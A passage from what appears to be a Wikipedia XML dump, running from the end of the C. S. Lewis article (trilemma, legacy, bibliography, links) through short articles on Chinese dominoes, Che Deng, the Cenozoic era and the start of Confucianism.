According to the argument, most people are willing to accept Jesus Christ as a great [[morality|moral]] teacher, but the [[Gospels]] record that Jesus made many claims to [[divinity]], either explicitly (&quot;I and the father are one.&quot; — [[Gospel of John|John]] 10:30) or implicitly, by assuming authority only God could have (&quot;…the Son of Man has authority on earth to forgive sins…&quot; — [[Gospel of Matthew|Matthew]] 9:6). Assuming that the [[Biblical_inerrancy|Gospels are accurate]], Lewis said there are three options:

# Jesus was telling falsehoods and knew it, and so he was a liar.
# Jesus was telling falsehoods but believed he was telling the truth, and so he was insane.
# Jesus was telling the truth, and so he was divine.

Lewis held that for Jesus to be a liar or insane would contradict his position as a &quot;great moral teacher&quot;, and the remaining option would make Jesus both a &quot;great moral teacher&quot; and divine. This was aimed against a specific line of reasoning which accepts the Jesus portrayed in the gospels as a &quot;great moral teacher&quot;, but not as a divine being. Lewis maintained that they are failing to deal with the logical consequences of their position.

His argument was later expanded by the Christian apologist [[Josh McDowell]] to serve as a logical proof to Jesus' Divinity. It is from this latter development that the term &quot;[[trilemma]]&quot; actually comes from. Outside of experts on the subject, trilemma is often taken to mean both arguments, assuming that in fact they are one and the same. Various versions of both Lewis's argument and McDowell's have been extensively debated and frequently attacked on the truth of their premises as well as the validity of their structure. (See the [[trilemma]] article for more.)

== Portrayals of Lewis's life ==
Interest in Lewis has resulted in several biographies (including books written by close friends of Lewis, among them [[Roger Lancelyn Green]] and [[George Sayer]]), at least one play about his life, and a [[1993]] movie, titled ''[[Shadowlands]]'', based on an original stage and television play. The movie fictionalizes his relationship with the American writer [[Joy Gresham]], whom he met and married in [[London]], only to watch her die slowly from bone cancer. Lewis’s book ''[[A Grief Observed]]'' describes his experience of bereavement in such a raw and personal fashion that Lewis originally released it under the pseudonym N.W. Clerk to keep readers from associating the book with him (ultimately too many friends recommended the book to Lewis as a method for dealing with his own grief, and he made his authorship public).

== Lewis’ death and legacy ==
Lewis died on [[November 22]], [[1963]], at the Oxford home he shared with his brother, [[Warren Lewis|Warren]]. He is buried in the Headington Quarry Churchyard, Oxford, England. Media coverage of his death was overshadowed by news of the [[assassination of President John F. Kennedy]], which occurred on the same day, as did the death of author [[Aldous Huxley]]. (This coincidence was the inspiration for [[Peter Kreeft]]'s book [[Between Heaven and Hell: A Dialog Somewhere Beyond Death with John F. Kennedy, C. S. Lewis &amp; Aldous Huxley]]. In this philosophical work, the three men meet in a limbo before the afterlife, and debate the divinity of Jesus Christ, contrasting the differences in their personalities and world views — [[humanism]], [[Christianity]], and [[pantheism]].)

A bronze statue of Lewis looking into a wardrobe stands in Belfast’s Holywood Arches.

Many books have been inspired by Lewis, including ''[[A Severe Mercy]]'' by his correspondent [[Sheldon Vanauken]]. ''The Chronicles Of Narnia'' has been particularly influential. Modern children’s authors like [[Daniel Handler]] (''[[A Series of Unfortunate Events]]''), [[Eoin Colfer]] (''[[Artemis Fowl (series)|Artemis Fowl]]''), and [[J. K. Rowling]] (''[[Harry Potter]]'') have been influenced more or less by Lewis’s series. Authors of adult [[fantasy]] literature such as
[[Tim Powers]] have also testified to being influenced by Lewis’s work.

Most of Lewis’s posthumous work has been edited by his [[literary executor]], [[Walter Hooper]]. An independent Lewis scholar, the late [[Kathryn Lindskoog]], argued in several books that Hooper’s scholarship is not reliable and that he has made false statements and attributed forged works to Lewis. (See ''[[The Dark Tower (1977 novel)|The Dark Tower]]''.) Scholars in the field of Lewis studies are divided over whether these charges have been settled at all, and if so in whose favour.

Lewis was strongly opposed to the creation of live-action versions of his works due to the technology at the time.  His major concern was that the anthropomorphic animal characters &quot;when taken out of narrative into actual visibility, always turn into buffoonery or nightmare.&quot;  This was said in the context of the 1950s, when technology would not allow the special effects required to make a coherent, robust film version of Narnia.  Whether or not Lewis would be happy with the CGI creations of Disney, naturally, cannot be known.

== Bibliography ==

=== Nonfiction ===
* ''[[The Allegory of Love]]: A Study in Medieval Tradition'' (1936)
* ''[[Rehabilitations]] and other essays'' (1939) — with two essays not included in ''Essay Collection'' (2000)
* ''[[The Personal Heresy]]: A Controversy'' (with [[E. M. W. Tillyard]], 1939)
* ''[[The Problem of Pain]]'' (1940)
* ''[[A Preface to Paradise Lost]]'' (1942)
* ''[[The Abolition of Man]]'' (1943)
* ''[[Beyond Personality]]'' (1944)
* ''[[Miracles (book)|Miracles]]: A Preliminary Study'' (1947, revised 1960)
* ''[[Arthurian Torso]]'' (1948; on [[Charles Williams]]' poetry)
* ''[[Mere Christianity]]'' (1952; based on radio talks of 1941-1944)
* ''[[English Literature in the Sixteenth Century]] Excluding Drama'' (1954)
* ''[[Major British Writers, Vol I]]'' (1954), Contribution on Edmund Spenser
* ''[[Surprised by Joy]]: The Shape of My Early Life'' (1955; [[autobiography]])
* ''[[Reflections on the Psalms]]'' (1958)
* ''[[The Four Loves]]'' (1960)
* ''[[Studies in Words]]'' (1960)
* ''[[An Experiment in Criticism]]'' (1961)
* ''[[A Grief Observed]]'' (1961; first published under the [[pseudonym]] «N. W. Clerk»)
* ''Selections from [[Layamon]]'s [[Brut]]'' (ed. G L Brook, 1963 ''Oxford University Press'') introduction
* ''[[The Discarded Image]]: An Introduction to Medieval and Renaissance Literature'' (1964)
* ''[[God in the Dock]]: Essays on Theology and Ethics'' (1970), = ''[[Undeceptions]]'' (1971) — all included in ''Essay Collection'' (2000)
* ''[[Studies in Medieval and Renaissance Literature]]'' ([[1966]]) — not included in ''Essay Collection'' (2000)
* ''[[Spenser's Images of Life]]'' (ed. [[Alastair Fowler]], [[1967]])
* ''[[Letters to an American Lady]]'' ([[1967]])
* ''[[Selected Literary Essays]]'' ([[1969]]) — not included in ''Essay Collection'' (2000)
* ''[[Of Other Worlds]]'' ([[1982]]; essays) — with one essay not included in ''Essay Collection''
* ''[[All My Road Before Me]]: The Diary of C. S. Lewis 1922-27'' ([[1993]])
* ''[[Essay Collection]]: Literature, Philosophy and Short Stories'' ([[2000]])
* ''[[Essay Collection]]: Faith, Christianity and the Church'' ([[2000]])
* ''[[Collected Letters]], Vol. I: [[Family Letters 1905-1931]]'' ([[2000]])
* ''[[Collected Letters]], Vol. II: [[Books, Broadcasts and War 1931-1949]]'' ([[2004]])

=== Fiction ===

* ''[[The Pilgrim's Regress]]'' ([[1933]])
* '''[[Space Trilogy]]'''
** ''[[Out of the Silent Planet]]'' ([[1938]])
** ''[[Perelandra]]'' ([[1943]])
** ''[[That Hideous Strength]]'' ([[1946]])
* ''[[The Screwtape Letters]]'' ([[1942]])
* ''[[The Great Divorce]]'' ([[1945]])
* '''[[The Chronicles of Narnia]]'''
** ''[[The Lion, the Witch and the Wardrobe]]'' ([[1950]])
** ''[[Prince Caspian]]'' ([[1951]])
** [[The Voyage of the Dawn Treader|''The Voyage of the'' Dawn Treader]] ([[1952]])
** ''[[The Silver Chair]]'' ([[1953]])
** ''[[The Horse and His Boy]]'' ([[1954]])
** ''[[The Magician's Nephew]]'' ([[1955]])
** ''[[The Last Battle]]'' ([[1956]])
* ''[[Till We Have Faces]]'' ([[1956]])
* ''[[Screwtape Proposes a Toast]]'' ([[1961]]) (an addition to ''The Screwtape Letters'')
* ''[[Letters to Malcolm: Chiefly on Prayer]]'' ([[1964]])
* ''[[The Dark Tower (1977 novel)|The Dark Tower]] and other stories'' ([[1977]])
* ''[[Boxen: The Imaginary World of the Young C. S. Lewis]]'' (ed. Walter Hooper, [[1985]])

=== Poetry ===
* ''[[Spirits in Bondage]]'' ([[1919]]; published under [[pseudonym]] «Clive Hamilton»)
* ''[[Dymer]]'' ([[1926]]; published under [[pseudonym]] «Clive Hamilton»)
* ''[[Narrative Poems]]'' (ed. Walter Hooper, [[1969]]; includes ''Dymer'')
* ''[[The Collected Poems of C. S. Lewis]]'' (ed. Walter Hooper, [[1994]]; includes ''Spirits in Bondage'')

== Books about C. S. Lewis ==
* Chad Walsh, ''C. S. Lewis: Apostle to the Skeptics''. Macmillan, 1949.
* Clyde S. Kilby, ''The Christian World of C. S. Lewis''. Eerdmans, 1964.
* Jocelyn Gibb (ed.), ''Light on C. S. Lewis''. Geoffrey Bles, 1965.
* Joe R. Christopher &amp; Joan K. Ostling, ''C. S. Lewis: An Annotated Checklist of Writings about him and his Works''. Kent State University Press, n.d. (1972). ISBN 0873381386
* Peter J. Schakel, ed. ''The Longing for a Form: Essays on the Fiction of C. S. Lewis''. Kent State University Press, 1977. ISBN 0873382048
* [[Humphrey Carpenter]], ''The Inklings: C. S. Lewis, J. R. R. Tolkien, Charles Williams and their friends''. George Allen &amp; Unwin, 1978. ISBN 0048090115
* Chad Walsh, ''The Literary Legacy of C. S. Lewis''. Harcourt Brace Jovanovich, 1979. ISBN 0156527855.
* [[Walter Hooper]], ''Through Joy and Beyond: A Pictorial Biography of C. S. Lewis''. Macmillan, 1982. ISBN 0025536702
* Peter J. Schakel. ''Reason and Imagination in C. S. Lewis: A Study of &quot;Till We Have Faces.&quot;'' Available on line [http://hope.edu/academic/english/schakel/tillwehavefaces/index.html]. Eerdmans, 1984. ISBN 0802819982
* John Beversluis, ''C. S. Lewis and the Search for Rational Religion''. Eerdmans, 1985. ISBN 0802800467
* [[George Sayer]], ''Jack: C. S. Lewis and His Times''. Macmillan, 1988. ISBN 0333433629
* G. B. Tennyson (ed.), ''Owen Barfield on C.S. Lewis''. Wesleyan University Press, 1989. ISBN 081955233X.
* A. N. Wilson, ''C. S. Lewis: A Biography''. W. W. Norton, 1990. ISBN 0393323404
* Peter J. Schakel and Charles A. Huttar, ed. ''Word and Story in C. S. Lewis.'' University of Missouri Press, 1991. ISBN 082620760X
* [[James Como]], ''C. S. Lewis at the Breakfast Table and Other Reminiscences''. New edition, Harcourt Brace Jovanovich, 1992. ISBN 0156232073
* George Watson (ed.), ''Critical Essays on C. S. Lewis''. Scolar Press, 1992. ISBN 085957853
* Susan Lowenberg, ''C. S. Lewis: A Reference Guide 1972-1988''. Hall &amp; Co., 1993. ISBN 0816118469
* Kathryn Lindskoog, ''Light in the Shadowlands: Protecting the Real C. S. Lewis''. Multnomah Pub., 1994. ISBN 0880706953
* [[Douglas Gresham]], ''Lenten Lands: My Childhood with Joy Davidman and C.S. Lewis''.  HarperSanFrancisco, 1994. ISBN 0060634472
* Michael Coren, ''The Man Who Created Narnia: The Story of C.S. Lewis''. Eerdmans Pub Co, Reprint edition 1996. ISBN 0802838227
* [[Walter Hooper]], ''C. S. Lewis: A Companion and Guide''. HarperCollins, 1996. ISBN 0006278000
* Jeffrey D. Schultz and John G. West, Jr. (eds.), ''The C.S. Lewis Readers' Encyclopedia''. Zondervan Publishing House, 1998. ISBN 0310215382
* [[James Como]], Branches to Heaven: The Geniuses of C. S. Lewis, Spence, 1998.
* [[Colin Duriez]] and [[David Porter]], ''The Inklings Handbook: The Lives, Thought and Writings of C. S. Lewis, J. R. R. Tolkien, Charles Williams, Owen Barfield, and Their Friends''.  2001, ISBN 1902694139
* [[Roger Lancelyn Green]] &amp; [[Walter Hooper]], ''C. S. Lewis: A Biography''. Fully revised &amp; expanded edition. HarperCollins, 2002. ISBN 0006281648
* Peter J. Schakel, ''Imagination and the Arts in C. S. Lewis: Journeying to Narnia and Other Worlds.'' University of Missouri Press, 2002. ISBN 082621407X
* Joseph Pearce, ''C. S. Lewis and the Catholic Church''. Ignatius Press, 2003. ISBN 0898709792
* [[Colin Duriez]], ''Tolkien and C.S. Lewis: The Gift of Friendship''.  Paulist Press, 2003. ISBN 1587680262
* Bruce L. Edwards, ''Not a Tame Lion: The Spiritual World of Narnia''. Tyndale. 2005.
* Bruce L. Edwards, ''Further Up and Further In: Understanding C. S. Lewis’s The Lion, the Witch, and the Wardrobe''. Broadman and Holman, 2005.
* Markus Mühling, &quot;A Theological Journey into Narnia. An Analysis of the Message beneath the Text&quot;, Vandenhoeck &amp; Ruprecht, Göttingen 2005, ISBN 3525604238
* [[James Como]], Remembering C. S. Lewis (3rd ed. of C. S. Lewis at the Breakfast Table), ''. Ignatius, 2006
* David Hein and Edward Hugh Henderson, eds., ''Captured by the Crucified: The Practical Theology of Austin Farrer''. New York and London: T &amp; T Clark / Continuum, 2004. A study of Lewis's close friend the theologian [[Austin Farrer]], this book also contains material on Farrer's circle, &quot;the Oxford Christians,&quot; including C. S. Lewis.
* [[Douglas Gresham]], ''Jack's Life: A Memory of C.S. Lewis''.  Broadman &amp; Holman Publishers, 2005. ISBN 0805432469
* Victor Reppert, ''C.S. Lewis's Dangerous Idea: In Defense of the Argument from Reason''. InterVarsity Press, 2003. ISBN 0830827323

== See also ==
* [[Christian apologetics]] (field of study concerned with the defence of Christianity)
* [[The Inklings]]
* [[Pauline Baynes]]

== External links ==
{{Spoken Wikipedia|En-CSLewis.ogg|2005-11-20}}
{{wikiquote}}
* {{gutenberg author| id=C.+S.+Lewis | name=C. S. Lewis}}
* [http://www.cslewis.org/ C.S. Lewis Foundation]
* [http://www.wheaton.edu/learnres/wade/] Marion E. Wade Center at [[Wheaton College, Illinois|Wheaton College]] has the world’s largest collection of Lewis' works and works about him
*[http://www.rapidnet.com/~jbeard/bdm/exposes/lewis/cs-lewis.htm RapidNet.com &amp;mdash; C. S. Lewis FAQ]
* [http://personal.bgsu.edu/~edwards/lewis.html C. S. Lewis &amp; The Inklings: Bruce Edwards' site full of resources and insights into Lewis and friends]
* [http://personal.bgsu.edu/~edwards/news.html C. S. Lewis Blog: Bruce Edwards' on Lewis and sundry matters]
* [http://cslewis.drzeus.net Into the Wardrobe: a Web site devoted to C. S. Lewis]
* [http://www.religionfacts.com/christianity/people/lewis.htm ReligionFacts.com: C.S. Lewis] Fast facts, timeline, summary of works
* [http://www.mrrena.com/Lewis.shtml In Lenten Lands]
* [http://www.narniafans.com/ NarniaFans.com — C.S. Lewis News, Database, and Community]
* [http://www.thestonetable.com/ The Stone Table — The latest C.S. Lewis News, Reviews and Community]
* [http://www.pbs.org/wgbh/questionofgod/ PBS | The Question of God] A look at the lives of C.S. Lewis and of Sigmund Freud, analysing the «question of God»
* [http://ic.net/~erasmus/RAZ26.HTM C.S. Lewis: 20th-Century Christian Knight]
* [http://www.scriptoriumnovum.com/l.html C.S. Lewis Chronicles] A Compendium of Information about Lewis
* [http://www.aslan.demon.co.uk/cslfaq.htm The alt.books.cs-lewis FAQ]
* [http://www.cslewis.com/ C.S. Lewis Classics] a website by HarperCollins Publishers
* {{isfdb name|id=C._S._Lewis|name=C. S. Lewis}}
* [http://www.tektonics.org/jesusclaims/trilemma.html The Trilemma. Lord Liar or Lunatic?] Defending one of Lewis’s most famous arguments
* [http://atheism.about.com/od/cslewisnarnia/a/jesustrilemma.htm Lord, Liar, or Lunatic: C.S. Lewis and the Jesus Trilemma] Arguing against the Trilemma argument.
* [http://www.solcon.nl/arendsmilde/cslewis/reflections/e-definitivebiography.htm Sweetly Poisonous in a Welcome Way: Reflections on a Definitive Biography] A detailed critique of A.N. Wilson’s CSL biography
* [http://www.cslewis.org/ C.S. Lewis Foundation] Dedicated to Christian scholarship and artistiac expression within the contemporary university
* [http://findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=1455 FindAGrave C.S.Lewis]
* [http://www.theherald.co.uk/goingout/52082.html Herald article on Lewis’s opposition to live version]
* [http://atheism.about.com/od/cslewisnarnia/a/biography.htm Biography from atheistic viewpoint.]
* [http://www.malacandra.co.uk Malacandra.co.uk - A Wiki especially for C.S. Lewis fans.]

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[[Category:Christian evangelicalism|Lewis, C. S.]]
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    </revision>
  </page>
  <page>
    <title>Chinese dominoes</title>
    <id>5814</id>
    <revision>
      <id>21032017</id>
      <timestamp>2005-08-15T00:56:36Z</timestamp>
      <contributor>
        <username>Everyking</username>
        <id>44020</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/203.14.53.45|203.14.53.45]] to last version by Gwalla</comment>
      <text xml:space="preserve">[[Image:ChineseDominoes.JPG|thumb|right|A set of Chinese dominoes]]
'''Chinese [[domino]]es''' are used in several [[tile-based game]]s, namely, [[Tien Gow]], [[Pai Gow]], [[Gwat Pai]], [[Che Deng]], [[Tiu U]], [[Kap Tai Shap]].  References to Chinese domino tiles can be traced to writings from the [[Song Dynasty (960-1279)|Song Dynasty]] (AD 1120). Chinese dominoes should not be confused with [[mahjong]] tiles, which use a different tileset.

Each tile pattern in the Chinese domino set is made up of the outcome of a throw of two six-sided [[dice]].  There are therefore 21 unique patterns.  A tile set consists of 32 tiles in two &quot;suits&quot; or groups called &quot;military&quot; and &quot;civilian&quot;.  There are no markings on the tiles to distinguish these suits; a player must simply remember which tiles belong to which group.

The tile set contains two each of eleven civilian suit tiles (6-6, 1-1, 4-4, 1-3, 5-5, 3-3, 2-2, 5-6, 4-6, 1-6, 1-5) and one each of ten military suit tiles (3-6, 4-5; 2-6, 3-5; 2-5, 3-4; 2-4; 1-4, 2-3; 1-2).  Each civilian tile also has a Chinese name (and common rough translation to English): The 6-6 is ''tin'' (&amp;#22825; heaven), 1-1 is ''dei'' (&amp;#22320; earth), 4-4 is ''yan'' (&amp;#20154; man), 1-3 is ''ngo'' (&amp;#40285; goose or &amp;#21644; harmony), 5-5 is ''mui'' (&amp;#26757; plum flower), 3-3 is ''cheung'' (&amp;#38263; long), 2-2 is ''ban'' (&amp;#26495; board), 5-6 is ''fu'' (&amp;#26023; hatchet), 4-6 is ''ping'' (&amp;#23631; partition), 1-6 is ''tsat'' (&amp;#19971;) (long leg seven), and 1-5 is ''luk'' (&amp;#20845;) (big head six).

The civilian tiles are ranked according to the Chinese cultural significance of the tile names, and must be memorized.  For example, heaven ranks higher than earth; earth ranks higher than man etc.  Remembering the suits and rankings of the tiles is easier if one understands the Chinese names of the tiles and the symbolism behind them.  
The military tiles are named and ranked according to the total points on the tiles.  For example, the &quot;nines&quot; (3-6 and 4-5) rank higher than the &quot;eights&quot; (2-6 and 3-5).

The military tiles (since there is only one each) are also considered to be five mixed &quot;pairs&quot; (for example, the 3-6 and 4-5 tiles &quot;match&quot; because they have same total points and both in the military suit).  Among the military tiles, individual tiles of the same pair (such as 1-4 and 2-3) rank equally.   The 2-4 and 1-2 are an odd pair.  They are the only tiles in the whole set that don't match other tiles in the normal sense.  This pair when played together is considered a suit on its own, called the Gee Joon (&amp;#33267;&amp;#23562; Supreme).  It is the highest ranking pair in the game of Pai Gow, though the tiles rank low individually (in their normal order).  When a tile of this pair is played individually in the game of Tien Gow, each takes its regular ranking among other military suit tiles according to the total points.  The rankings of the individual tiles are similar in most games.  However, the ranking of combination tiles is slightly different in Pai Gow and Tien Gow.

Using the same coloring scheme of the traditional Chinese dice, every half-domino with 1 or 4 spots has those spots colored red (for example, the 4-5 domino has four red spots and five white spots).  The only exception is the pair of 6-6 tiles.  Half of the spots on the 6-6 domino are colored red to make them stand out as the top ranking tiles.

==External links==

*[http://www.gamecabinet.com/rules/DominoGames.html Rules of Domino games]
*[http://members.tripod.com/cp_lai/sky-nine.htm Pictures of the Chinese tiles]
*[http://www.ahs.uwaterloo.ca/~museum/Archive/Culin/Dice1893/index.html an article dated back to 1893]

[[Category:Chinese dominoes| ]]</text>
    </revision>
  </page>
  <page>
    <title>Che Deng</title>
    <id>5815</id>
    <revision>
      <id>15904007</id>
      <timestamp>2005-05-11T10:30:22Z</timestamp>
      <contributor>
        <username>Oniows</username>
        <id>91395</id>
      </contributor>
      <text xml:space="preserve">[[Image:ChineseDominoes.JPG|thumb|right|A set of Chinese dominoes]]
'''Che Deng''' (&amp;#26012;&amp;#37336;, Cantonese: che4 deng1) literally means ''diagonal nails'' in [[Cantonese language|Cantonese]]. It is the name of a Chinese game that plays with the [[Chinese dominoes]] set.

''Che'' refers to the diagonal pattern of the &quot;three&quot; pip on the tile.
''Deng'' refers to the &quot;one&quot; pip on the tile.

[[Category:Chinese dominoes]]
{{game-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Cenozoic</title>
    <id>5816</id>
    <revision>
      <id>41939640</id>
      <timestamp>2006-03-02T19:39:45Z</timestamp>
      <contributor>
        <ip>63.199.47.31</ip>
      </contributor>
      <comment>/* References and further reading */</comment>
      <text xml:space="preserve">The '''Cenozoic Era''' (sen-oh-ZOH-ik; sometimes '''Caenozoic Era''' in the [[United Kingdom]]) meaning &quot;new life&quot; ([[Greek language|Greek]] ''kaino'' = new + ''zoikos'' = life) is the most recent of the four classic [[geological era]]s.  It covers the 65.5 million years since the [[Cretaceous-Tertiary extinction event]] at the end of the [[Cretaceous]] that marked the demise of the last [[dinosaur]]s and the end of the [[Mesozoic]] Era. The Cenozoic era is ongoing. 

The Cenozoic is divided into two periods, the [[Palaeogene]] and [[Neogene]], and they are in turn divided into epochs. The Palaeogene consists of the [[Paleocene]], [[Eocene]], and [[Oligocene]] epochs, and the Neogene consists of the [[Miocene]], [[Pliocene]], [[Pleistocene]], and [[Holocene]] epochs, the last of which is ongoing. Previously the Cenozoic was divided into periods (or sub-eras) named the [[Tertiary]] (Paleocene to Pliocene) and [[Quaternary]] (Pleistocene and Holocene). However, they are no longer recognized.  

==Life in the Cenozoic Era==

The Cenozoic is the '''age of [[mammal]]s'''.  During the Cenozoic, mammals diverged from a few small, simple, generalized forms into a diverse collection of terrestrial, marine, and flying animals.  The Cenozoic is just as much the age of [[savanna]]s, or the age of co-dependent [[Angiosperms]] (flowering plants) and insects.  [[Bird]]s also evolved substantially in the Cenozoic.  

[[Geology|Geologically]], the Cenozoic is the era when [[continent]]s moved into their current positions. [[Australia-New Guinea]] split from [[Gondwana]] to drift north and, eventually, abut [[South-east Asia]]; [[Antarctica]] moved into its current position over the [[South Pole]]; the [[Atlantic Ocean]] widened and, late in the era, [[South America]] became attached to [[North America]].

==See also==
*[[Geologic Time Scale]]

==References and further reading==
*''British Caenozoic Fossils'', 1975, The Natural History Museum, London. 

{{Phanerozoic Footer}}
{{Cenozoic Footer}}

{{geology-stub}}
[[Category:Cenozoic| ]]

[[ast:Cenozoicu]]
[[br:Senozoeg]]
[[ca:Cenozoic]]
[[cs:Kenozoikum]]
[[da:Nyere tid (jordalder)]]
[[de:Känozoikum]]
[[et:Kainosoikum]]
[[es:Era Cenozoica]]
[[eo:Kenozoiko]]
[[fr:Cénozoïque]]
[[ko:신생대]]
[[it:Cenozoico]]
[[he:קנוזואיקון]]
[[nl:Cenozoïcum]]
[[ja:新生代]]
[[no:Kenozoikum]]
[[pl:Era kenozoiczna]]
[[pt:Cenozóico]]
[[sv:Kenozoikum]]
[[zh:新生代]]</text>
    </revision>
  </page>
  <page>
    <title>Cote dIvoire</title>
    <id>5818</id>
    <revision>
      <id>15904010</id>
      <timestamp>2004-12-09T01:12:26Z</timestamp>
      <contributor>
        <username>Dryazan</username>
        <id>75150</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Côte d'Ivoire]]</text>
    </revision>
  </page>
  <page>
    <title>Confucianism</title>
    <id>5820</id>
    <revision>
      <id>41910556</id>
      <timestamp>2006-03-02T15:37:20Z</timestamp>
      <contributor>
        <username>Wayward</username>
        <id>184087</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/216.56.20.232|216.56.20.232]] ([[User talk:216.56.20.232|talk]]) to last version by Markalexander100</comment>
      <text xml:space="preserve">{{portal}}
[[Image:PICT2367.JPG|thumb|Confucianist temple [[Thian Hock Keng]] in [[Singapore]].]]
'''Confucianism''' ([[Chinese language|Chinese]]: 儒学, [[Pinyin]] ''Rúxué‚'', lit. &quot;''The School of the Scholars''&quot;, but see [[Confucianism#Names for Confucianism|Names for Confucianism]]) is an [[East Asia]]n [[Ethics|ethical]] and [[Philosophy|philosophical system]] originally developed from the teachings of the early [[China|Chinese]] sage [[Confucius]]. It is a complex system of [[morality|moral]], [[social philosophy|social]], [[politics|political]], and [[religion|religious]] thought which had tremendous influence on the history of [[Chinese civilization]] down to the [[21st century]]. Some have considered it to have been the &quot;[[state religion]]&quot; of [[imperial China]].

The [[culture]]s most strongly influenced by Confucianism include those of [[Chinese culture|China]], [[Japanese culture|Japan]], [[Korean culture|Korea]], and [[Vietnamese culture|Vietnam]], as well as various territories including [[Hong Kong]], [[Macao]], [[Taiwan]], and [[Singapore]], where [[ethnic Chinese]] are the majority. 

==Core Confucian texts==
The development of Confucianism is traced through the development of its [[wiktionary:canon|canon]]. It is therefore helpful to first list the main Confucian texts.  
The [[orthodox]] canon of Confucian texts, as eventually formulated by [[Zhu Xi]], is the so-called &quot;Four Books and Five Classics&quot;. These are:
===The Four Books===
*The ''[[Great Learning]]'' ([[pinyin]] Dàxúe, 大學)
*The ''[[Doctrine of the Mean]]'' ([[pinyin]] Zhōngyōng, 中庸)
*The ''[[Analects of Confucius]]'' ([[pinyin]] Lùnyǔ, 論語)
*The ''[[Mencius]]'' ([[pinyin]] Mèngzǐ, 孟子)

===The Five Classics===
*The ''[[Classic of Poetry]]'' ([[pinyin]] Shījīng, 詩經)
*The ''[[Classic of History]]'' ([[pinyin]] Shūjīng, 書經)
*The ''[[Classic of Rites]]'' ([[pinyin]] Lǐjīng, 禮經)
*The ''[[Classic of Changes]]'' ([[pinyin]]  Yìjīng, 易經; more commonly known by an alternate spelling as the [[I Ching]] in the West)
*The ''[[Spring and Autumn Annals]]'' ([[pinyin]] Chūnqīu 春秋)

A sixth book, the ''[[Classic of Music]]'' ([[pinyin]] Yùejīng, 樂經), is not extant.  

There is a further canon known as the [[Thirteen Classics]] ([[pinyin]] Shísānjīng, 十三經). 

There is considerable debate about which, if any, of these books were directly written by Confucius himself. The main source of his quotations, the ''Analects'', was not written by him. As with many other spiritual leaders such as [[Siddhartha Gautama]], [[Jesus]], or [[Socrates]], our main source of Confucius' thought, the ''Analects'', was written down by his disciples. Some of the core canon is argued to have been written by Confucius himself, such as the ''Spring and Autumn Annals''. There is considerable debate about this, however.

This factor is further complicated by the &quot;[[To burn the classics and to bury the scholars|Burning of the Books and Burying of the Scholars]]&quot;, a massive suppression of [[dissent]]ing thought during the [[Qin Dynasty]], more than two centuries after Confucius' death. The emperor [[Qin Shi Huang]] destroyed a great number of books, possibly destroying other books written by Confucius or his disciples in the process. 

The current canon of Four Books and Five Classics was formulated by Zhu Xi. Many versions contain his extensive commentaries on the books. The fact that his specific version of the Confucian canon became the core canon can be seen as an example of his influence in Confucianism.

Other books are not included in the current canon but once were. The major example is the ''[[Xun Zi]]''.

==Development of early Confucianism==
&lt;!-- Unsourced image removed: [[Image:Confucius 01.jpg|thumb| Sage Confucius——孔子]] --&gt;
[[Confucius]] was a famous sage and [[Social philosophy|social philosopher]] of China whose teachings have deeply influenced East Asia for 2400 years. The relationship between Confucianism and Confucius himself, however, is tenuous. Confucius' ideas were not accepted during his lifetime and he frequently bemoaned the fact that he remained unemployed by any of the [[Feudal society|feudal]] [[lord]]s. 

===Development by Confucius===
Although we do not have direct access to Confucius' beliefs, we can sketch out Confucius' ideas from the fragments that remain. Confucius ([[551 BC|551]]&amp;ndash;[[479 BC|479]] BCE) was a [[man of letters]] who worried about the troubled times he lived in. He went from place to place trying to spread his political ideas and influence to the many [[monarch|king]]s contending for supremacy in China. He was greatly concerned with how successful societies should work, how rulers should rule and how relationships should be maintained.

In the [[Zhou Dynasty|Eastern Zhou Dynasty]] (771-221 BCE), the reigning king of the Zhou gradually became a mere figurehead.  In this [[power vacuum]], the rulers of small states began to vie with one another for military and political dominance. Deeply persuaded of the need for his mission &amp;mdash; &quot;If right principles prevailed through the empire, there would be no need for me to change its state&quot; ''Analects'' XVIII, 6 &amp;mdash; Confucius tirelessly promoted the virtues of ancient illustrious sages such as the [[Duke of Zhou]]. Confucius tried to amass sufficient political power to found a new dynasty, as when he planned to accept an invitation from a rebel to &quot;make a Zhou dynasty in the East&quot; (''Analects'' XV, 5). As the common saying that Confucius was a &quot;king without a crown&quot; indicates, however, he never gained the opportunity to apply his ideas. He was expelled from states many times and eventually returned to his homeland to spend the last part of his life teaching.

The ''Analects'' were composed primarily during this period. As with most  religious or philosophical texts, there is considerable debate over how to interpret the ''Analects.''

Unlike most [[Western world|Western]] philosophers, Confucius did not rely on [[deductive reasoning]] to convince his listeners. Instead, he used figures of [[rhetoric]] such as [[analogy]] and [[aphorism]] to explain his ideas. Most of the time these techniques were highly contextualised. For these reasons, Western readers might find his philosophy muddled or unclear. However, Confucius claimed that he sought &quot;a unity all pervading&quot; (''Analects'' XV, 3) and that there was &quot;one single thread binding my way together.&quot; (''op. cit.'' IV, 15). 

===Development after Confucius===
The first occurrences of a real Confucian system may have been created by his disciples or by the disciples of his disciples. During the philosophically fertile period of the [[Hundred Schools of Thought]], great early figures of Confucianism such as [[Mencius]] and [[Xun Zi]] (not to be confused with [[Sun Zi]]) developed Confucianism into an ethical and political doctrine. Both had to fight contemporary ideas and gain the rulers' confidence through argumentation and reasoning. 

Mencius gave Confucianism a fuller explanation of human nature, of what is needed for good government, of what morality is, and founded his idealist doctrine on the claim that human nature is good (性善). Xun Zi opposed many of Mencius' ideas, and built a structured system upon the idea that human nature is bad (性悪) and had to be educated and exposed to the [[rites]] (''li'') before being able to express goodness. 

Some of Xun Zi's disciples, such as [[Han Feizi]] and [[Li Si]], became [[legalism (philosophy)|Legalist]]s (a kind of law-based early [[totalitarianism]], quite distant from virtue-based Confucianism) and conceived the state system that allowed [[Qin Shi Huang]] to unify China under the strong state control of every human activity. The culmination of Confucius' dream of unification and peace in China can therefore be argued to have come from Legalism, a school of thought almost diametrically opposed to his reliance on rites and virtue.

==The spread of Confucianism==
As mentioned above, the [[To burn the classics and to bury the scholars|Burning of the Books and Burying of the Scholars]] resulted in the destruction of large numbers of books, and very probably some Confucian texts. Nonetheless, Confucianism survived this suppression, some say because a scholar hid the texts in the walls of his house. 

